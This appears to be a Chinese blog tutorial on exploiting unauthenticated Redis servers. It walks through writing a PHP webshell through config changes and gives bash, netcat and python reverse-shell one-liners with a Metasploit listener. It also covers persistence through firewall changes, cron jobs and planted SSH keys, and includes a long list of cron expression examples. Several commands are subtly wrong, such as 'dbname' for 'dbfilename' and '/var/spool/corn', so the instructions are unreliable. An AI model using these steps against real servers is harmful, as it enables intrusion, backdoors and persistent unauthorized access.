Redis中间件漏洞

redis常见用途

  • 缓存
  • 分布式Seesion
  • 计数器
  • 抽奖
  • 排行榜

redis漏洞造成原因

  • 设置了未授权访问
  • 配置远程连接6379

redis动态修改配置,写入shell

  • 更改保存的路径
  • 更改保存的文件名
redis-cli -h host -p port
config set dir /var/www/html
config set dbname shell.php
set shell ""
save

redis反弹连接

  • redis处于内网,私有IP
  • 动态IP

攻击机

msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost host
set lport port
run

nc -lvp port

socat TCP-LISTEN:port

靶机

bash -i >& /dev/tcp/ip/port 0>&1

nc -e /bin/bash ip port

python -c "import os,socket,subprocess;s=
socket.socket(socket.AF_INET,socket.SOCK_
STREAM);s.connect(('ip',port));
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.
dup2(s.fileno(),2);p=subprocess.call(['/bin/
bash','-i']);"

维持权限(搞防火墙)

systemctl status firewalld //查看防火墙状态
systemctl start firewalld  //开启防火墙
firewall-cmd --zone=public --add-port=port/tcp -- permanent //添加白名单
firewall-cmd --reload   //重启防火墙
systemctl stop firewalld  //关闭防火墙

定时任务

corn表达式

0/2 * * * * ?   表示每2秒 执行任务

0 0/2 * * * ?    表示每2分钟 执行任务

0 0 2 1 * ?   表示在每月的1日的凌晨2点调整任务

0 15 10 ? * MON-FRI   表示周一到周五每天上午10:15执行作业

0 15 10 ? 6L 2002-2006   表示2002-2006年的每个月的最后一个星期五上午10:15执行作

0 0 10,14,16 * * ?   每天上午10点,下午2点,4点 

0 0/30 9-17 * * ?   朝九晚五工作时间内每半小时 

0 0 12 ? * WED    表示每个星期三中午12点 

0 0 12 * * ?   每天中午12点触发 

0 15 10 ? * *    每天上午10:15触发 

0 15 10 * * ?     每天上午10:15触发 

0 15 10 * * ?    每天上午10:15触发 

0 15 10 * * ? 2005    2005年的每天上午10:15触发 

0 * 14 * * ?     在每天下午2点到下午2:59期间的每1分钟触发 

0 0/5 14 * * ?    在每天下午2点到下午2:55期间的每5分钟触发 

0 0/5 14,18 * * ?     在每天下午2点到2:55期间和下午6点到6:55期间的每5分钟触发 

0 0-5 14 * * ?    在每天下午2点到下午2:05期间的每1分钟触发 

0 10,44 14 ? 3 WED    每年三月的星期三的下午2:10和2:44触发 

0 15 10 ? * MON-FRI    周一至周五的上午10:15触发 

0 15 10 15 * ?    每月15日上午10:15触发 

0 15 10 L * ?    每月最后一日的上午10:15触发 

0 15 10 ? * 6L    每月的最后一个星期五上午10:15触发 

0 15 10 ? * 6L 2002-2005   2002年至2005年的每月的最后一个星期五上午10:15触发 

0 15 10 ? * 6#3   每月的第三个星期五上午10:15触发

https://cron.ciding.cc/ 在线生成网站

创建计划任务

vim name.cron

crontab -u user name.cron

从redis写入计划任务

config set dir /var/spool/corn

config set dbname root

set key(随便写) value(计划任务)

save

SSH key免密登录

如果计划任务被干掉了,shell被查杀了,那么可以选择通过SSH key免密登录来维持权限

客户端生成密钥对

ssh-keygen

redis写入public key

set xxx "nnn public_key nnn"
config set dir /root/.ssh
config set dbname authorized_keys
save

© 版权声明
THE END
喜欢就支持一下吧
点赞6 分享